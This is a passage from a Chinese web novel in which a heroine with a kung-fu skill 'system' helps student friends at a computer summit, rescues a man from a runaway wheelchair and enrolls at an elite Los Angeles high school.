“我……我就是看他砸完东西就想跑,下意识地就想去拦他。谁知道他突然挥起拳头打我,我吓坏了,慌乱之下胡乱挥了几下手,都没敢用力……” 她抬眼看向工作人员,眼神清澈又无辜,“我真的没打伤他,不信你们看看,他身上能有什么伤口呀?” 71.第71章 “没伤口?怎么可能没伤口!”凯文肺都气要炸了,腹间的绞痛一阵紧过一阵,他十分确定自己被打出了重伤。 为了揭穿这个恶毒女人的真面目,他顾不上脸面,当场掀开衬衣下摆,梗着脖子喊:“你们自己看!这女人下手这么狠,怎么可能——” 话到一半,他自己先僵住了。 所有人的目光齐刷刷落在他的腹部,只见皮肤光洁平整,别说淤青,连半道红印都找不到,干干净净,半点儿受伤迹象都没有。 全场先是死一般的静,紧接着爆发出一片嘘声。 “搞什么啊?连个印子都没有,就喊着被打成重伤了?” “真够丢人的,一个大男人,为难人家小姑娘也就算了,还装受伤讹人?” “哈哈,这演技来参加计算机峰会也太屈才了,往好莱坞去啊,说不定还能拿个奖!” 调侃声、嗤笑声此起彼伏,所有人看凯文的眼神都带上了明晃晃的鄙夷。就连刚才扶着他的两个同伴,此刻也恨不得找个地缝钻进去,脑袋埋得低低的,半句帮腔的话都不敢说。 实在是太丢脸了! 凯文彻底懵了。 他低头盯着自己毫无痕迹的肚子,又感受着腹内钻心刺骨的疼,脑中一片空白。明明疼得要命,怎么会连一点伤都看不出来? “不可能……绝对不可能……”他喃喃自语,急得声音都变了调,“我真的疼!我没装!不信去医院检查,一定是这女人用了什么阴招!” 不远处的展区另一端,林砚和奥利弗刚把笨重的工作站搬上展台,电源线还没插稳,奥利弗的八卦雷达一动,就捕捉到了角落这边的动静。 他当即眼睛一亮,拽着林砚的胳膊就往那边凑:“哎哎,那边吵起来了!走走走,看热闹去!” 林砚本想先给菲伊打个电话问行踪,被他拽得一个趔趄,无奈地跟着挤过人群。等看清圈子中央站着的人时,两人都愣了一下。 奥利弗嗓门大,当即便喊道:“菲伊!” 两人快步挤到跟前,林砚扫过地上散落的纸张、脸色惨白的凯文,最后落在菲伊身上,立刻侧身挡在她身前半步,低头低声问:“怎么了?发生什么事了?” “没事。”菲伊摇摇头,冲他安抚地笑了笑,“就是有人过来找了点麻烦,马上就解决了。” 领头的工作人员这会儿早把前因后果听了个七七八八,心里跟明镜似的。 他本就不想在峰会开幕第一天闹出负面动静,见状便板着脸对凯文道:“这位同学,你要是坚持自己受伤了,我们可以安排人陪你去校医院验伤,费用后续该谁承担谁承担。 但有一点——你主动寻衅、损毁参展方物品在先,这是在场所有人都亲眼看见的,验伤归验伤,该道歉的还是要道歉。” 说完他又转向菲伊,语气缓和了几分,却也带着公事公办的严肃:“虽然你属于正当防卫,但峰会场内严禁任何形式的肢体冲突。这次事出有因,我们就不追究了。但接下来的峰会期间,不允许再出现类似情况,否则我们有权取消你的参会资格。” “我明白,给各位添麻烦了。”菲伊点头,应得爽快,半句多余的辩解都没有。 工作人员见她认错态度良好,脸色又缓和了些。毕竟只是个外校学生,他们也不想过多为难。 他挥了挥手,让身后的年轻职员领着凯文往会场外走:“先带他去校医院检查。其他人都散了吧,展会马上正式开始,大家可以自由参观了。” 围观的人见没了后续,便三三两两地散开,嘴里还都在议论刚才的事。 有人打听清凯文是电子表格项目组的,当即撇撇嘴:“就这人品,项目再好也不投他们组。” 这话一传十十传百,没等上午过半,电子表格组有个仗势欺人的关系户的事,就已经在不少参会者心里留下了坏印象。 凯文要是知道自己这一通闹,反倒败了自家项目的路人缘,怕是真要气出内伤,实打实的偷鸡不成蚀把米。 人群散干净,地上还散落着宣传册和项目资料。菲伊和杨嘉言蹲下身去捡,林砚和奥利弗也跟着弯腰帮忙,一页页把纸张理整齐。 “幸好电脑没事。”杨嘉言松了口气,伸手按了按屏幕,确认程序运行正常,才回头冲几人笑道,“今天真是谢谢你们了,尤其是菲伊,要不是你,这机器要摔下去,我们俩这大半年的心血都得打水漂。” “杨说的一点都没错!”大卫一边摞着资料一边咧嘴笑,“等今天展会结束,必须请你吃大餐!附近有家墨西哥菜味道绝了,我请客!” 奥利弗一听来了兴致,立马凑到菲伊跟前:“合着刚才那家伙捂着肚子蹲地上,真是你出手收拾的?哎呀,我怎么就晚来两步!” 他拍了下大腿,满脸都是错过好戏的扼腕。 上次菲伊救他们时,他和林砚被罩着头,没能看到菲伊是怎么把那些人打趴下的,一直耿耿于怀,没想到好不容易菲伊又出手了,结果又没赶上。 “嘘——”菲伊食指竖在唇边,冲众人使了个眼色,压低声音道,“低调、低调!” “哦,对!”大卫懊恼地拍了下脑门,先扫了眼四周,然后跟着放低音量道,“大家心里明白就行,千万别说出去。” 说着,他又凑过来半步,冲菲伊挤挤眼,“哎,说真的,凯文那家伙到底是真受伤还是装的?” 菲伊一脸神秘地笑了笑:“你猜?” 不等大卫继续刨根问底,她就顺势转了话头,侧身给两边人做正式引荐,“对了,忘了给你介绍了。这两位是杨嘉言和大卫·洛,斯坦福的研究生……” 她又转向杨嘉言二人:“这是林砚,还有奥利弗·史密斯,伯克利计算机专业,就是我之前跟你们提过的朋友。他俩做的是校园分布式BBS,主打校内学生交流和课程资料共享。” 林砚闻言伸出手,和杨嘉言、大卫依次握了握:“刚才听你们聊了两句项目,方向很有意思。” “你们的校园分布式BBS也不错啊。”杨嘉言笑了笑,“我之前就听说伯克利有人在做本地化的论坛系统,没想到今天刚好遇上。” 大卫和奥利弗都是自来熟的性子,没两句就聊到了一块儿,从服务器配置聊到终端兼容性,又扯到当前校园网的带宽限制,越聊越投机。 菲伊站在一旁,看着四个人热火朝天地讨论技术细节,嘴角微微上扬。 角落里的展位原本冷 清得很,经刚才这么一闹,反倒时不时有人路过时好奇地往这边瞥两眼,偶尔还有人停下来拿份宣传册翻翻。 倒也算阴差阳错,给这个不起眼的小项目,添了点意外的人气。 次日早上八点,菲伊一脚踏入泽勒巴赫大厅,扑面而来的便是人声鼎沸的喧闹。 各支参赛队伍早已齐聚于此,来来往往的身影将整片候场区域挤得水泄不通。 昨日参展的129个项目中,大众票选出的前50名可以进入第二轮,也就是今天的答辩赛。 然后由专业评委团的打分裁定,评选出一、二、三等奖,其中一等奖1个名额,二等奖3个名额,三等奖5个名额,其余41个项目则统一颁发鼓励奖,聊表安慰。 她扫了眼墙上刚贴好的入围公示,很快便发现了林砚和杨嘉言的项目名称。 只可惜名次都不太理想,林砚和奥利弗的分布式BBS排在第39名,杨嘉言他们的学术索引位于第48位,堪堪擦着门槛挤入第二轮。 菲伊在攒动的人头里找了半圈,总算在一个靠窗的角落找到了林砚和奥利弗。 奥利弗正蹲在地上检查幻灯片,嘴里嘀嘀咕咕念着序号,生怕上台放错了页。林砚靠墙站着,手里的演讲稿被捏出一道浅浅的折痕,他垂眸反复默读文稿,瞧着有些紧张。 “早。”菲伊走过去,从打包袋里取出一杯咖啡递到林砚手边,“看你眉头皱的,在紧张待会儿的答辩?” 林砚抬头看见她,紧绷的肩线松了些,接过咖啡道了声谢:“也不完全是,就是赛前的老毛病,习惯性会紧张。” “哎哟谢谢,正想买一杯咖啡提提神呢!”奥利弗腾地站起来,伸手就从袋子里拿出一杯咖啡。 他灌了一大口又叹气道,“我可真慌。你是不知道,台下坐的不是教授,就是风投和大公司高管。我昨天晚上做梦都在背节点同步的参数。” 菲伊被他逗笑了:“你们私下演示了那么多遍,流程早就刻进脑子里了,正常发挥就行。再说你们技术底子硬,有什么好怕的。” 正说着,走廊那头传来工作人员叫号的声音,前五组队伍纷纷收拾好东西,起身往主会场走。 林砚他们组抽到8号,差不多半个小时后就会轮到他们,林砚立刻低头重新过稿子,奥利弗也赶紧把幻灯片整齐码好,塞进文件袋,气氛瞬间又绷紧了。 菲伊见状,不再多打扰,拎着剩下两杯咖啡,转身去寻杨嘉言和大卫。 两人抽到的号码比较靠后,要到下午才轮得到他们,索性先进了主会场占了后排空位,提前摸一摸对手的底。 大卫蔫蔫地靠在椅背上,显然还在纠结初选第四十八名的擦线成绩,眼神里透着些沮丧。杨嘉言却坐得笔直,盯着台上的演示听得津津有味,手里的本子时不时记两笔。 他心态放得很平。他们的学术索引项目本就冷门,从报名起就没奔着拿奖来,能来峰会多认识几个业内的人,换几张名片攒点人脉,就已经值回票价。 现在能挤入前五十,对他来说已经是意外之喜了。 菲伊坐在旁边将两人的反应尽收眼底,心里忍不住感叹:不愧是未来的互联网大佬,心态稳得一批。 72.第72章 没过多久就叫到了8号。 奥利弗抱着一沓胶片走在前面,背挺得直直的,脚步比平时沉稳了不少。 林砚跟在他身后,临上台前下意识往后排扫了一眼,正好撞上菲伊举着胳膊朝他用力挥手,他眼睛亮了亮,冲她轻轻点了下头。 台上的灯光暗下来,投影幕布亮起。 五位评审坐在第一排,面前摆着打分板,神情严肃。 林砚的声音透过话筒传了出来,听上去比平时略低沉一些。 他从分布式节点架构讲到校内分区的用户逻辑,条理清晰,逻辑严谨。奥利弗站在投影仪旁配合着换胶片,节奏卡得严丝合缝。 有些专业术语太过晦涩生僻,菲伊听得似懂非懂,亏得旁边杨嘉言时不时低声解释两句,才让她勉强跟上节奏。 5分钟的演说掐着点结束。最先提问的是伯克利的系主任,他问了两句数据同步延迟的技术细节,林砚答得顺畅,对方扶了扶眼镜,不动声色地点了点头。 可真正的挑战还在后面,红杉的合伙人问得很直接:“这套系统目前只覆盖单校校园,天花板有限。你们团队有没有明确的商业化路径?” 林砚顿了半秒,最终还是坦诚地摇了摇头。 下台后两人绕回后排,林砚额角沾了层薄汗,接过菲伊递来的矿泉水拧开喝了一大口。 “演说很精彩。”菲伊先开口夸了句。 奥利弗耷拉着脑袋挠头:“可商业那块我们被问住了,我看那合伙人打分笔都没怎么动,估计悬。” “本来就是学生项目,先把产品做好比什么都强。”林砚倒是看得开,抹了把额角的汗,目光落回台上,“能从一百多个项目里杀进前五十,说明还是有不少人看好我们的项目的。” 轮到杨嘉言两人的项目时,已经是下午4点多。 斜阳透过高窗斜切进来,在会场地面铺了道暖金的光带,听了快一天的观众都显出几分疲态,后排有不少人已经揉着眼睛打哈欠,连评审都端起咖啡喝了两口。 杨嘉言的演说走的是平实的风格,没有花哨的包装,只一五一十讲站点收录量、检索精度和更新计划,整个过程很顺畅。 然而,到了答辩环节,却遇到了几乎和林砚他们一样的问题。微软的高管一开口,直接就问项目的技术壁垒和盈利模式。 杨嘉言坦然地摇摇头,说目前还只是学术工具,没想过盈利,想把检索精度提高再考虑其他。 下台后大卫一路垮着肩膀,凑到菲伊跟前唉声叹气:“完了完了,我看评委们都没什么兴趣,本来就是第四十八名擦线进来的,这下彻底没戏了。” 菲伊没直接安慰他,而是开口评价道:“今天来参赛的项目,大部分都还处在研发阶段。那几个资方代表不看未来潜力,不关心技术创新,一个劲地追着盈利变现问,在我看来,目光未免有些短浅了。” 这话从一个高中生嘴里说出来,实在有些大胆,甚至称得上不知天高地厚,可偏偏戳中了几个人心里的想法。 大卫先是愣了愣,反倒没刚才那么蔫了。就连一向比较谦逊的林砚也赞同地点点头,轻声道: “菲伊的话虽然有些不客气,但也说出了我的心里话。来之前我还觉得这些业内大佬高不可攀,现在已经开始祛魅了。” “嘘!”奥利弗吓得一激灵,连忙捂住林砚的嘴,“兄弟,咱这还在会场里呢!你这话要被别人、尤其评委听见,别说这次比赛凉凉,以后还能不能顺利找到工作都难说!” 菲伊噗嗤一笑,冲他们眨眨眼:“找什么工作啊!以后自己当老板不香吗?” 奥利弗瞪大眼睛:“我的姐,你可真敢想!就我们这几个穷学生,没钱没资源的,当老板?做梦还差不多。” 菲伊伸出食指左右晃了晃,神秘兮兮道:“话别说太早,万事无绝对。搞不好……以后真有贵人愿意投你们,让你们自己把项目做起来呢?” 奥利弗先是一呆,随即拍着大腿差点笑出声,然后压低嗓音打趣道:“贵人?该不会说的就是你自己吧,菲伊?” 大卫也跟着乐,挠着后脑勺眼睛发亮:“真要是有大佬愿意投钱,我直接把铺盖卷搬机房去!熬三个月通宵,也得把全美高校的公开站点全收进库里,做就做最全的学术索引!” 杨嘉言推了推滑到鼻尖的细框眼镜,眉眼弯出点温和的笑意,语气里带着学生式的务实:“哪有这么好的事。我们现在连稳定用户量都没几个,谈投资太早了。” 只有林砚没跟着起哄。 他低头沉思了几秒,然后抬头看向菲伊,神色比平时认真几分,低声问:“你真觉得,我们这两个项目,都有商业化的可能性?” 之前红杉合伙人的问题一直卡在他心里。他不是没想过更远的路,只是分布式BBS从诞生起就是为了校内交流,他从没想过这么个学生捣鼓出来的玩意儿,能有多大的商业价值。 可菲伊刚才的话轻飘飘的,却像一根细针,轻轻戳破了他不敢深想的那层窗户纸。 菲伊弯了弯眼,没给出肯定答案,也没卖关子,只抬了抬下巴,示意他们看台上正展示的电子表格项目: “现在台下的人,大多盯着能马上变现、马上卖钱的东西,没人愿意等一个工具慢慢长大。可互联网才刚冒头,什么都是新的。现在看着只是方便师生找资料、聊天的小玩意儿,等用的人多了,自然就有它的价值。” 她语气平淡,像在说一件再普通不过的事,可几个男生听完,都愣了愣。 这话不算什么惊人洞见,可从一个十一年级生的嘴里说出来,偏偏有种奇异的说服力。 林砚沉默片刻,忽然低声说了句:“你说的,我记下了。” …… 第三天的几场业内大佬的主题演讲结束后,就是颁奖仪式。 不出所料,第一名花落电子表格项目组,而林砚和杨 嘉言他们的两个项目都落选了,只得了个鼓励奖。 因为早有心里准备,大家表情都很平静,对这个结果没那么沮丧。 奥利弗甚至还开玩笑说,他就等着菲伊来投资了。 颁奖散场,人群三三两两地分流,有的去听厂商技术宣讲,有的回展位收拾物料。菲伊几人正站在会场外闲聊着,就看见本届冠军组的负责人杰夫·海伍德带着两个男生,径直朝这边走来。 大卫和杨嘉言几乎是下意识地往前半步,不动声色挡在了菲伊身前。 谁料杰夫走到几人跟前,开口不是挑衅,而是道歉:“昨天的事,我专程过来给各位道个歉。凯文是我们项目组的人,出言挑衅还先动手,是我们管理不周,给各位添麻烦了。” 他侧身让开半步,身后两个男生上前一步,对着几人微微鞠了一躬,脸上都带着愧疚:“对不起,昨天我们没拉住他,还跟着瞎掺和,是我们不对。” 几人都愣了一下,挡在前面的姿态也松了下来。杨嘉言回道:“事是凯文自己挑的,跟你们没关系。” “一码归一码。”杰夫笑了笑,语气里带了点无奈,“说出来也不怕你们笑,昨天散场我就让人陪他去校医院做了全套检查,内脏、皮肤查了个遍,医生说他身体比天天泡机房的学生都结实,半点儿损伤都没有。 可他倒好,胡搅蛮缠了一晚上,非说被人暗算了。” 他顿了顿,声音冷了几分,“他本来就是靠他姑姑的关系塞进组的,进组以来没干过多少实事,反倒天天惹事。我们昨天晚上开了组会,直接把他踢出项目了。” 说着,他目光越过杨嘉言二人,落在后面的菲伊身上,歉然道:“你就是那天差点被凯文伤到的女孩吧?抱歉,凯文今天一早就收拾东西回斯坦福了,没法让他亲自过来给你道歉。” 菲伊从两人身后走出来,落落大方地朝他伸出手:“你好,我是菲伊·温斯洛。” 杰夫伸手回握。 菲伊继续道:“昨天的事是他个人的问题,跟你没关系,你不必替他致歉。不过麻烦你回去转告他一句,以后不管对谁,都留点分寸和礼貌。再这么嚣张跋扈,哪天惹到真不好惹的人,下次恐怕真要进医院躺着了。” “这话我一定转告。”杰夫耸耸肩,冷哼道,“就他那副性子,迟早要踢到铁板。” 说完他从口袋里掏出几张名片,依次递给几人。 他坦言很看好分布式BBS和学术资源索引的方向,都是当下校园网里最实在的需求,以后技术上有问题,或是有合作想法,都可以随时联系。 菲伊顺便也把自己的名片递了出去,双方客套几句后,便分开了,谁都没把这个小插曲放在心上。 此刻的菲伊如何也想不到,这短短几分钟的见面,会在几年后牵出一段意料之外的交集,最终帮她搭上了互联网浪潮里最关键的一条线,成了她早期投资生涯中,回报率最高的一笔注脚。 73.第73章 时间一晃,就来到了新的一年。 1月初的洛杉矶还浸在凌晨的凉意里,唐人街振武社的练武场最先醒了过来。 晨雾裹着阵阵凉意,顺着雕花窗棂漫进来,落在磨得发亮的木地板上。墙角立着三根木人桩,旁边摆着一个兵器架,刀枪剑戟、斧钺钩叉,各式武器排得整整齐齐。 菲伊收了最后一式罗汉拳,气沉丹田缓缓吐息,额角的薄汗顺着脸颊滑下,落在地板上。 她的腿上各绑着五斤的铅袋,比一个月前的负重翻了一倍有余,却依旧稳如松,连呼吸都没乱几分。 “不错,已经有模有样了。” 一旁的袁杰端着搪瓷茶缸,看着她满意地点头,“基础打得牢,后面练棍法、身法都快。你待会儿要去新学校报到吧?今天就先到这儿吧。” “知道了老师。”菲伊拿起搭在木桩上的毛巾擦了擦汗,冲袁杰拱手道,“那我先回去了,明天早上准时到。” 没错,今天是菲伊正式入学谢菲尔德高中的日子。 去年她从伯克利回来后不久,就收到了谢菲尔德的录取通知书,眼下终于到了入校报到这一天。 一推开武馆的大门,唐人街独有的烟火气便混在清晨的凉风里,劈头盖脸地涌上来。 巷口那家广式早点铺已经支起了蒸笼,虾饺、叉烧包的甜香飘得半条街都是。 菲伊的肚子很配合地“咕噜”响了一声,脚下不自觉慢了半拍。 老板正掀开最上面那层竹笼盖,白汽“呼”地一下冒出来,把门口朱红牌坊的翘角都蒙得朦朦胧胧的。抬眼瞧见她,立刻笑着招呼:“阿菲,练完功啦?新出炉的叉烧包,刚刚揭笼,热乎得很呢!” “王叔早。”菲伊笑着走过去,“给我拿一笼叉烧包,再打包一碗皮蛋瘦肉粥。” 上次她顺路带了两份回去,佩妮一口就爱上了暄软甜香的叉烧馅,连着念叨了好几天。马丁看着严肃,却也悄悄说这粥味道不错,配烤吐司当早饭正好。 陈叔手脚麻利地用纸盒装好,合上盖子前,又额外多舀了半勺粥塞进去,用油纸袋包的严严实实递过来,朝着菲伊半开玩笑道:“跑快一点哦,凉了就不好吃的啦。” “哈哈哈,你放心,我的速度,肯定没问题的!” 菲伊一手递钱,一手接过纸袋。随即重新迈开步子往家里跑,步子依旧很快,只是刻意把拎袋子的手放得稳了些,怕晃洒了粥。 两侧的街景随着她的步伐一点点换了模样。 从唐人街飞檐斗拱的青砖巷,变成了车流渐起的柏油路,棕榈树沿着街道一字排开,鸣笛声慢慢多了起来,远处好莱坞山的白色字母在淡金色晨光里越来越清晰。 就在她跑过一处临街的休闲广场时,突然传来一阵慌乱的惊呼声。 “快!快刹车!” “拦住他!谁快来拦住那轮椅!” “天啊,轮椅的刹车失灵了!” “你快跳下来啊!不然要摔下去了!” “不行!速度太快了,跳下来只会更危险!” 嘈杂的呼喊声此起彼伏。 几只原本悠闲踱步觅食的鸽子,被这些叫喊吓了一跳,慌忙扑棱着羽翼腾空而起,蜷在花坛里的小橘猫也倏地弓起脊背,炸着绒毛缩在角落,琥珀色的圆瞳紧紧锁定声源方向,满是警惕。 菲伊循声抬眼,瞳孔骤然一缩。 只见广场上,一辆人轮椅正不受控制地飞速滑行,顺着坡道急速冲刺,径直朝着菲伊这头的台阶滚来。 轮椅后方,两名少年正拼尽全力狂奔追赶,脚步凌乱,呼吸急促,而轮椅的速度却越来越快,两人无论如何发力都追赶不上。 轮椅上的中年男人早已面无血色,脸上布满绝望。眼见轮椅失控冲向台阶,他只能无助地蜷缩起腰背,双手死死护住头部。 这台阶临街而建,足足二十多级,落差极大,毫无缓冲的余地,若是以现在这个速度滚落,男人轻则骨折重伤,重则殒命当场。 人命关天,根本容不得半分迟疑。 菲伊不假思索地把早餐放在路边,脚下陡然发力,三步并作两步朝着石阶上方疾冲而去。 一边跑,她一边唤出系统:【立即兑换袁杰的少林石锁功,时间3分钟。】 石锁功属于少林七十二绝技之一,练成双臂可举重若轻、力贯千钧。 这也是有一次菲伊看到袁杰竟轻松抛举一对重达60公斤的石锁,才知道居然还有这种功夫,惹得她连连感叹袁杰不去国家举重队可惜了。 系统响应得很快:【袁杰的石锁功为D级武学能力,150美元/分钟,共计扣除宿主账户450美元……扣除成功,能力兑换完毕,倒计时03:00。】 话音落下的刹那,一股浑厚沉猛的内劲,顷刻间贯通菲伊的四肢百骸。 菲伊浑身的筋骨顿时变得绷实稳固,双臂好似蓄满了千斤之力。 几乎是能力同步完成的瞬间,失控轮椅已然疾驰至石阶边缘,距离坠落深渊仅差分毫,生死一线。 轮椅上的男人看着迎面冲上来,妄图救他的少女,瞳孔骤颤,又惊又急,拼尽最后力气嘶吼:“快让开!小姑娘快躲开!太快了,你挡不住的!” 在他看来,菲伊这纤细单薄的身形,在这股足以撞飞成年壮汉的狂暴惯性面前,无异于螳臂当车。 一旦相撞,非但拦不住失控的轮椅,只会被顺势带着滚下石阶,落得双双重伤的结局。 身后追车未果的两名少年,此刻也看清了眼前惊险至极的一幕,心脏瞬间收紧,彻底慌了神。 不出意外的话,下一秒便是少女被狠狠撞飞、顺着石阶翻滚坠落的惨烈画面。 其中一名扎着短马尾少年惊呼一声,不敢直视接下来的惨剧,吓得闭上双眼。 身旁的金发少年却不肯放弃,一边拼尽全力朝着台阶边缘狂奔,一边声嘶力竭地高声呼喊,试图挽回局面: “天呐!快躲开!” “哦不,你在干什么!” “你疯了吗?!” 急切的呼喊响彻街巷,可立于险境中心的菲伊,却充耳不闻,不退反进。 风势猎猎,失控的轮椅转瞬即至,车轮摩擦地面的急促声响刺耳无比,眼看就要撞上女孩! 千钧一发之际,却见女孩沉腰扎马,将身体重心压到极致,双腿稳稳扎在地面,右掌顺势探出,借着石锁功蓄势而出的浑厚劲力,精准打在轮椅后侧重心位置。 原本迅猛失控的巨大冲力撞上她的掌心,如同撞上固若金汤的铁壁。</p >“嗡”的一声闷响! 狂暴肆虐的冲力顷刻间被卸去。原本即将飞坠而下的轮椅,猛地骤停定格,甚至因力道回弹,微微向后退了小半米。 但极致的惯性并未随之消散,危机并未消散。 车身堪堪停稳的刹那,巨大的前冲力依旧裹挟着人体势能。轮椅上的男人身躯脱力前倾,整个人顺着惯性飞出座椅,径直朝着菲伊的方向摔砸而来。 电光石火间,菲伊仿佛早有预料一般,左手遽然精准探出,箍住男人失重摇摆的腰腹。然后借着惯性流转的弧度,脚下轻巧换步,顺势一转,行云流水般消解掉男子周身的冲劲,彻底稳住其前倾失衡的姿态。 接着一个漂亮利落的旋身,将惊魂未定的中年男人,平稳安置在一旁的花坛边上。 尘埃落定,危机彻底解除。 骤然间,周围陷入一片死寂,纷乱的惊呼、呼啸的风声、车轮的摩擦声尽数消弭。 半空盘旋的鸽子缓缓敛翅落回地面,不再慌乱躁动。缩在角落的小橘猫慢慢探出身子,圆瞳好奇地盯着广场上的少女。 方才吓得不敢看的短马尾少年,此时才颤巍巍睁开双眼。 耳边突如其来的寂静让他心头一怔,茫然地转头望向台阶方向,下一秒,瞳孔猛然放大——预想中惨烈坠阶的画面并未出现,本该摔下台阶的中年男人,此刻竟安然无恙地坐在花坛边。 而他身前不远处的同伴,不知为何正僵在原地,双目圆瞪,嘴巴微张,活像一只傻不愣登的呆头鹅。 菲伊率先打破这份诡异的安静,朝男人道:“先生,你还好吗?有没有哪里受伤?” 中年男人这才从死里逃生的恍惚中回神,他怔怔看着菲伊,结结巴巴地应声:“我……我没事,没受伤,一点事都没有……” 然后像是想到什么,目光落在菲伊的胳膊上,急切地问:“孩子,你呢?有没有受伤?刚刚那冲击力那么大,太吓人了……你的胳膊、身体有没有事?要不要我带你去医院检查一下?” 菲伊笑着摇头:“放心,我没事。” 她只是刚刚发力过猛,肌肉有些酸胀而已。多亏这几月从未间断的武术训练,替她筑牢了身体根基。若是换作从前的身体素质,如此不计后果地使用这种刚猛功夫,双臂恐怕早就脱臼了。 另一边,短马尾少年也终于回神。 他快步走上前,伸手轻轻戳了戳金发少年的胳膊,低声问道:“嘿,兄弟,刚刚到底发生了什么?我闭眼的功夫,怎么一切都结束了?” 金发少年全然无暇理会同伴的问话,目光紧紧锁在菲伊身上,眼底的震撼久久不散。 他往前走了几步,有些语无伦次地朝菲伊道: “你、你刚才到底是怎么做到的?” 他眼中满是不可思议,一边说,一边笨拙地比划着菲伊拦车救人的动作。 “那轮椅速度那么快!冲击力那么大!你不仅拦停了它,还能顺势接住飞出去的人,最后居然毫发无损……这、这也太不可思议了!” 菲伊疑惑地看向他:“你是?” 少年扬起一抹灿烂的笑容:“我叫莱昂,莱昂·德普雷奥。” 然后又侧身让了,指着身后的短马尾道:“这是我的好兄弟,亚当·拉姆。” 74.第74章 “你们好,我是菲伊·温斯洛。” 双方简单互通姓名,算是正式相识。 面对两人满脸的好奇与追问,菲伊没法细说,只能装傻充楞道: “哈哈,说实话,我现在也懵着呢!事发太突然,完全是凭着本能就冲上去了,压根来不及细想…… 不过,我本身力气比同龄人大一点,平日里也在学习华夏功夫,或许就是因为这些?” “原来如此!”一旁的中年男人恍然,然后又心有余悸地道,“可即便如此,你刚刚也太过冒险了,稍有差池,你就被连带着一同摔下台阶,后果不堪设想。” 他顿了一下,露出一个温和的笑容,“我叫本杰明·卡特,刚刚要不是你救了我,我恐怕已经没命了。方便告诉我你家住址吗?我一定要好好答谢你!” 菲伊摆摆手:“不用不用!举手之劳而已,不必特意道谢。况且我能及时注意到这边的险情,全靠他们两位一路追赶提醒,不然我压根不会留意到石阶这边的意外,功劳不该只算在我一人身上。” 中年男人闻言立刻转头,郑重地朝着莱昂与亚当躬身致意,由衷道谢。 他原本只是推着轮椅来广场透透气,谁曾想,半路上轮椅突然失控,一路顺着坡道滚下来。两个少年见状,二话不说,一路追过来、大声示警,这份热心同样难得。 莱昂和亚当反倒有些不好意思,慌忙摆手,直说他们也没帮上什么忙,不用客气。 就在这时,广场钟楼的钟声敲响,整点报时,恰好八点。 “哎呀!”菲伊脸色一变,猛地拍了下脑门,“糟糕,我要迟到了。各位再见!” 说完,便转身快步奔下台阶,拎起早已凉透的早餐,脚步匆匆朝着家的方向跑去。 莱昂下意识抬手唤了一声,望着少女离去的背影,低声懊恼道:“坏了,居然忘了问她的联系方式!” …… 菲伊刚拐进自家所在的街道,便远远望见佩妮裹着羊绒外套,倚在铁艺门边,频频探头往路口张望,眼底藏着压不住的焦灼。 一瞥见菲伊的身影,老太太焦急的神色一扫而空,当即快步迎上来,满眼关切地问: “今天怎么回来得这么晚?九点就要去学校报到了,现在眼看就要八点半了,我正琢磨着要不要出去找你。” 说罢她不由分说牵住菲伊的手腕,一路把人往餐厅带。 原本坐在餐桌旁看晨报的马丁,听见脚步声,立刻放下报纸站起身,目光落在菲伊身上,眉头微蹙:“是路上出什么状况了?” 菲伊摇头,笑了笑:“没事。就是半路遇上一点小意外,耽搁了会儿。” 而后将手里的早餐袋放在桌上,一脸惋惜,“上次带回来的广式点心你们都说合胃口,今天遇到店家刚出锅,本想趁热带回来给你们尝尝的,可惜路上多花了些时间,现在全都凉透了。” 佩妮笑着抬手揉了揉她的发顶:“这有什么要紧,热一热就能吃,心意我们都收下了。赶紧吃两口垫垫肚子,千万别第一天报到就迟到。” 菲伊瞥了眼墙上挂钟,时针眼看就要滑到八点四十,她飞快捏起一片吐司塞进嘴里,仰头灌下一杯牛奶,转身“噔噔噔”跑上二楼。 不消片刻,她就换好衣服,像一阵风似的冲下楼。 “佩妮,马丁,我走了!” 佩妮连忙追到门口,扬声叮嘱:“路上留意来往车辆,注意安全!” 目送少女的背影消失在街角,她才轻轻合上院门,折回餐厅对着马丁长长叹了口气: “这孩子方方面面都懂事妥帖,就是凡事总爱自己扛着,半点不愿麻烦我们。方才明显是在外头遇上事了,可问她原因,只肯含糊带过。” 马丁慢悠悠把报纸抚平,翻到下一页,淡定道:“想那么多干嘛!菲伊拎得清轻重,做事稳妥有分寸,比劳伦斯让人放心多了。” “可她还只是个没成年的小姑娘啊,本该多依赖旁人一些,没必要事事都逼得自己这般独立。”佩妮依旧满心的软意与心疼。 “一家人都是慢慢相处磨合出来的,日子久了,她自然会愿意敞开心扉。” 马丁话音未落,厨房方向飘来一缕温润鲜稠的粥香,勾得他鼻尖一动,不由起身朝厨房走去,“是上次那个什么皮蛋粥吧?这粥确实好喝,这会儿闻着香气,感觉肚子又饿了。” 谢菲尔德距离菲伊所在的社区不算远。 等菲伊乘着出租车抵达校门口时,腕表时间恰好指向八点五十。 她不禁松了口气:万幸没在报到第一天就迟到。 谢菲尔德的校园是典型的古典学院风格。暖红色砖墙爬满茂密的常春藤,路边草色带着冬日独有的浅黄杂青,几株老橡树枝干疏阔,枝丫斜斜搭在步行道上空,风掠过枝梢,带出细碎轻浅的沙沙声。 眼下是春季注册迎新期,一周后才正式开学,学校里少了平日上课的喧闹,格外清静,远远只能零星看见三两学生走动。 校园公告栏里,贴满了哈佛、耶鲁的招生宣讲海报,还有辩论队、模拟联合国、戏剧社的招新启事,单单一瞥,就能觉出这所学校的底蕴和实力。 毕竟是西海岸顶流私立高中,洛杉矶大半精英家庭的孩子都挤破头想进来。 菲伊按着指引牌找到学务处,负责她的学业顾问哈德森女士已经等在办公室里了。 看到菲伊进来,她温和地点了点头。 “欢迎来到谢菲尔德,温斯洛小姐。” “你好,哈德森女士。” “想必你来之前,已经对谢菲尔德有所了解了。我们学校是标准的四年制,学分制,文理必修课、AP选修课一共二十多门,任课老师大半都是藤校博士出身,对学业抓得严,要求高,历届毕业生进藤校比例在南加州位列前三。” 她顿了下,抬手扶了扶眼镜,眼中露出欣赏,“以你现在的成绩,跟着正常进度走两年,毕业冲藤校不难。” “谢谢您的认可。”菲伊笑了笑,接着话锋一转,“不过,两年的时间对我来说太长了。如果我想在一学年内修完11、12两个年级的全部课程,提前毕业申请大学,需要满足哪些条件?” “提前毕业?”哈德森眉头猛地一跳,“温斯洛小姐,我得先跟你说清楚,这条路门槛非常高。” “具体要达到什么标准?” “你不仅需要在一年内修完两个年级的所有必修和选修学分,GPA稳定在3.8以上,还要通过加州高中毕业能力统考和学术委员会的毕业答辩。” “恕我直言,”哈德森看着菲伊,认真道,“我在这里工作了二十年,能达到这些要 求的学生寥寥无几。谢菲尔德的课业压力远超普通高中,我不建议你冒这个险。” 